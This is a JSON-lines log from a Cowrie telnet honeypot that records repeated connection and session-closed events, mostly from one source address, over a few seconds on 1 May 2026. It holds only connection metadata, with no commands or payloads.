{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50822,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b31afa1769a","protocol":"telnet","message":"New connection: 64.235.40.29:50822 (10.17.0.5:23) [session: 0b31afa1769a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.065452Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50828,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dfd1bf7f0fa","protocol":"telnet","message":"New connection: 64.235.40.29:50828 (10.17.0.5:23) [session: 1dfd1bf7f0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.110101Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":59238,"dst_ip":"10.17.0.5","dst_port":23,"session":"4497dd79a1a1","protocol":"telnet","message":"New connection: 135.148.33.217:59238 (10.17.0.5:23) [session: 4497dd79a1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.180200Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50876,"dst_ip":"10.17.0.5","dst_port":23,"session":"3afec6b48619","protocol":"telnet","message":"New connection: 64.235.40.29:50876 (10.17.0.5:23) [session: 3afec6b48619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.288085Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":56674,"dst_ip":"10.17.0.5","dst_port":23,"session":"078a8cf7bdee","protocol":"telnet","message":"New connection: 195.154.29.177:56674 (10.17.0.5:23) [session: 078a8cf7bdee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.417819Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":59748,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54eb6ecebce","protocol":"telnet","message":"New connection: 135.148.33.217:59748 (10.17.0.5:23) [session: a54eb6ecebce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.533762Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50986,"dst_ip":"10.17.0.5","dst_port":23,"session":"a44238155596","protocol":"telnet","message":"New connection: 64.235.40.29:50986 (10.17.0.5:23) [session: a44238155596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.617545Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51040,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8883c3adb14","protocol":"telnet","message":"New connection: 64.235.40.29:51040 (10.17.0.5:23) [session: d8883c3adb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.742777Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51056,"dst_ip":"10.17.0.5","dst_port":23,"session":"7963fdbfa082","protocol":"telnet","message":"New connection: 64.235.40.29:51056 (10.17.0.5:23) [session: 7963fdbfa082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.806600Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51070,"dst_ip":"10.17.0.5","dst_port":23,"session":"3677eae43082","protocol":"telnet","message":"New connection: 64.235.40.29:51070 (10.17.0.5:23) [session: 3677eae43082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.813829Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51078,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a19a2c0f404","protocol":"telnet","message":"New connection: 64.235.40.29:51078 (10.17.0.5:23) [session: 7a19a2c0f404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.915372Z"}
{"eventid":"cowrie.session.closed","duration":30.51068902015686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.037732Z","src_ip":"64.235.40.29","session":"ddc29459970f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97206711769104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.042260Z","src_ip":"64.235.40.29","session":"854e587b8f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50820,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf6663cce6c5","protocol":"telnet","message":"New connection: 64.235.40.29:50820 (10.17.0.5:23) [session: bf6663cce6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.068981Z"}
{"eventid":"cowrie.session.closed","duration":30.19826054573059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.094222Z","src_ip":"64.235.40.29","session":"272fb354ce17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51120,"dst_ip":"10.17.0.5","dst_port":23,"session":"6efd8da9086b","protocol":"telnet","message":"New connection: 64.235.40.29:51120 (10.17.0.5:23) [session: 6efd8da9086b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.116549Z"}
{"eventid":"cowrie.session.closed","duration":30.342630624771118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.149660Z","src_ip":"64.235.40.29","session":"9c4248b720b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50840,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eec1478b98e","protocol":"telnet","message":"New connection: 64.235.40.29:50840 (10.17.0.5:23) [session: 7eec1478b98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.159221Z"}
{"eventid":"cowrie.session.closed","duration":30.752534866333008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.164455Z","src_ip":"64.235.40.29","session":"732aec21c796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39173913002014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.188409Z","src_ip":"64.235.40.29","session":"483e33dd6163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.515973329544067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.224204Z","src_ip":"64.235.40.29","session":"35641cde6559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51142,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95253443b00","protocol":"telnet","message":"New connection: 64.235.40.29:51142 (10.17.0.5:23) [session: c95253443b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.246622Z"}
{"eventid":"cowrie.session.closed","duration":31.411384344100952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.380124Z","src_ip":"160.250.4.73","session":"6383d83c9d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2f79cf64a6","protocol":"telnet","message":"New connection: 135.148.33.217:60924 (10.17.0.5:23) [session: 8b2f79cf64a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.566530Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50972,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ffe1bdb5ca","protocol":"telnet","message":"New connection: 64.235.40.29:50972 (10.17.0.5:23) [session: f6ffe1bdb5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.580271Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50974,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e1df7adeaac","protocol":"telnet","message":"New connection: 64.235.40.29:50974 (10.17.0.5:23) [session: 5e1df7adeaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.632802Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51150,"dst_ip":"10.17.0.5","dst_port":23,"session":"feffb29555cb","protocol":"telnet","message":"New connection: 64.235.40.29:51150 (10.17.0.5:23) [session: feffb29555cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:53.768893Z"}
{"eventid":"cowrie.session.closed","duration":30.988929510116577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.034944Z","src_ip":"64.235.40.29","session":"10ba636b655e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.568557262420654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.062414Z","src_ip":"64.235.40.29","session":"53f3e5d3110a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052690029144287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.137265Z","src_ip":"64.235.40.29","session":"a5e98e458cb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d503ab4f1569","protocol":"telnet","message":"New connection: 64.235.40.29:51190 (10.17.0.5:23) [session: d503ab4f1569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.202312Z"}
{"eventid":"cowrie.session.closed","duration":30.94264030456543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.293611Z","src_ip":"64.235.40.29","session":"77547fbb4e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510592937469482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.301621Z","src_ip":"160.250.4.73","session":"dd4a28043a06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51216,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3497010a0a1","protocol":"telnet","message":"New connection: 64.235.40.29:51216 (10.17.0.5:23) [session: b3497010a0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.337374Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51292,"dst_ip":"10.17.0.5","dst_port":23,"session":"61172c2ba172","protocol":"telnet","message":"New connection: 64.235.40.29:51292 (10.17.0.5:23) [session: 61172c2ba172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.586389Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51314,"dst_ip":"10.17.0.5","dst_port":23,"session":"894daf555342","protocol":"telnet","message":"New connection: 64.235.40.29:51314 (10.17.0.5:23) [session: 894daf555342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.646671Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57634,"dst_ip":"10.17.0.5","dst_port":23,"session":"b48cd9f34a97","protocol":"telnet","message":"New connection: 160.250.4.73:57634 (10.17.0.5:23) [session: b48cd9f34a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.656081Z"}
{"eventid":"cowrie.session.closed","duration":31.592005491256714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.775195Z","src_ip":"64.235.40.29","session":"defe40bd30f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47139310836792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.800139Z","src_ip":"64.235.40.29","session":"82a09cfa1d7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51376,"dst_ip":"10.17.0.5","dst_port":23,"session":"334204eca2bb","protocol":"telnet","message":"New connection: 64.235.40.29:51376 (10.17.0.5:23) [session: 334204eca2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.868860Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":34448,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd7b2d74007","protocol":"telnet","message":"New connection: 135.148.33.217:34448 (10.17.0.5:23) [session: 2dd7b2d74007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:54.993786Z"}
{"eventid":"cowrie.session.closed","duration":31.394142389297485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:55.025527Z","src_ip":"64.235.40.29","session":"9213149acb16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48610,"dst_ip":"10.17.0.5","dst_port":23,"session":"00dd438e17bc","protocol":"telnet","message":"New connection: 64.235.40.29:48610 (10.17.0.5:23) [session: 00dd438e17bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:55.050395Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48622,"dst_ip":"10.17.0.5","dst_port":23,"session":"650387807cf8","protocol":"telnet","message":"New connection: 64.235.40.29:48622 (10.17.0.5:23) [session: 650387807cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:55.073728Z"}
{"eventid":"cowrie.session.closed","duration":30.77228045463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:55.080732Z","src_ip":"64.235.40.29","session":"7b46aa14d689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48630,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4e0f5b1ca48","protocol":"telnet","message":"New connection: 64.235.40.29:48630 (10.17.0.5:23) [session: e4e0f5b1ca48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:55.099418Z"}
{"eventid":"cowrie.session.closed","duration":30.29310154914856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:55.142405Z","src_ip":"160.250.4.73","session":"d6dd74e05827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48634,"dst_ip":"10.17.0.5","dst_port":23,"session":"09135ebb6fdf","protocol":"telnet","message":"New connection: 64.235.40.29:48634 (10.17.0.5:23) [session: 09135ebb6fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:55.150388Z"}
{"eventid":"cowrie.session.closed","duration":31.66922402381897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:55.832994Z","src_ip":"64.235.40.29","session":"a0100c6ce8ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.493583917617798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.030694Z","src_ip":"64.235.40.29","session":"b7fc68906767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950499534606934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.042388Z","src_ip":"135.148.33.217","session":"3423a51a7b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48998,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc3e96249b0","protocol":"telnet","message":"New connection: 64.235.40.29:48998 (10.17.0.5:23) [session: ddc3e96249b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.060552Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57638,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e2c8ca2fc13","protocol":"telnet","message":"New connection: 160.250.4.73:57638 (10.17.0.5:23) [session: 2e2c8ca2fc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.067116Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48994,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cad754bb287","protocol":"telnet","message":"New connection: 64.235.40.29:48994 (10.17.0.5:23) [session: 1cad754bb287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.069742Z"}
{"eventid":"cowrie.session.closed","duration":31.118272066116333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.087875Z","src_ip":"64.235.40.29","session":"85b4114c8403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.60676693916321,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.127164Z","src_ip":"64.235.40.29","session":"e9d58ea4e0f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49038,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d8e091e77de","protocol":"telnet","message":"New connection: 64.235.40.29:49038 (10.17.0.5:23) [session: 6d8e091e77de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.137103Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49052,"dst_ip":"10.17.0.5","dst_port":23,"session":"a07eb41e7a6f","protocol":"telnet","message":"New connection: 64.235.40.29:49052 (10.17.0.5:23) [session: a07eb41e7a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.142377Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":35944,"dst_ip":"10.17.0.5","dst_port":23,"session":"243df8528c99","protocol":"telnet","message":"New connection: 135.148.33.217:35944 (10.17.0.5:23) [session: 243df8528c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.184172Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49078,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c1b41bac02","protocol":"telnet","message":"New connection: 64.235.40.29:49078 (10.17.0.5:23) [session: 51c1b41bac02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.235828Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49094,"dst_ip":"10.17.0.5","dst_port":23,"session":"08fe3c1f01d5","protocol":"telnet","message":"New connection: 64.235.40.29:49094 (10.17.0.5:23) [session: 08fe3c1f01d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.240835Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49134,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f14fc883b12","protocol":"telnet","message":"New connection: 64.235.40.29:49134 (10.17.0.5:23) [session: 2f14fc883b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.335474Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49138,"dst_ip":"10.17.0.5","dst_port":23,"session":"cda629e18cdc","protocol":"telnet","message":"New connection: 64.235.40.29:49138 (10.17.0.5:23) [session: cda629e18cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.368754Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49154,"dst_ip":"10.17.0.5","dst_port":23,"session":"20291af601ba","protocol":"telnet","message":"New connection: 64.235.40.29:49154 (10.17.0.5:23) [session: 20291af601ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.380891Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49184,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e561d94d0c4","protocol":"telnet","message":"New connection: 64.235.40.29:49184 (10.17.0.5:23) [session: 8e561d94d0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.515344Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49200,"dst_ip":"10.17.0.5","dst_port":23,"session":"a301f33cefd2","protocol":"telnet","message":"New connection: 64.235.40.29:49200 (10.17.0.5:23) [session: a301f33cefd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.522601Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49228,"dst_ip":"10.17.0.5","dst_port":23,"session":"192252af8118","protocol":"telnet","message":"New connection: 64.235.40.29:49228 (10.17.0.5:23) [session: 192252af8118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.663138Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49278,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ed778faf69","protocol":"telnet","message":"New connection: 64.235.40.29:49278 (10.17.0.5:23) [session: 00ed778faf69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.879622Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49284,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0272a2ad7c3","protocol":"telnet","message":"New connection: 64.235.40.29:49284 (10.17.0.5:23) [session: f0272a2ad7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.928529Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49296,"dst_ip":"10.17.0.5","dst_port":23,"session":"b10f0fa8b81b","protocol":"telnet","message":"New connection: 64.235.40.29:49296 (10.17.0.5:23) [session: b10f0fa8b81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:56.976793Z"}
{"eventid":"cowrie.session.closed","duration":30.907734870910645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.033017Z","src_ip":"64.235.40.29","session":"a2de96e34eeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104413509368896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.153238Z","src_ip":"64.235.40.29","session":"ed04b9f271cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49330,"dst_ip":"10.17.0.5","dst_port":23,"session":"9416dcfd445e","protocol":"telnet","message":"New connection: 64.235.40.29:49330 (10.17.0.5:23) [session: 9416dcfd445e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.177176Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49344,"dst_ip":"10.17.0.5","dst_port":23,"session":"035918e53793","protocol":"telnet","message":"New connection: 64.235.40.29:49344 (10.17.0.5:23) [session: 035918e53793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.182177Z"}
{"eventid":"cowrie.session.closed","duration":30.815407514572144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.186036Z","src_ip":"64.235.40.29","session":"997bcf32d77d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574217319488525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.198059Z","src_ip":"64.235.40.29","session":"c5347045ab83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986915588378906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.306015Z","src_ip":"64.235.40.29","session":"c89d27eda883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093494415283203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.316478Z","src_ip":"64.235.40.29","session":"28f248ef9815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.212835550308228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:57.332647Z","src_ip":"64.235.40.29","session":"64747cd9a59f","protocol":"telnet"}
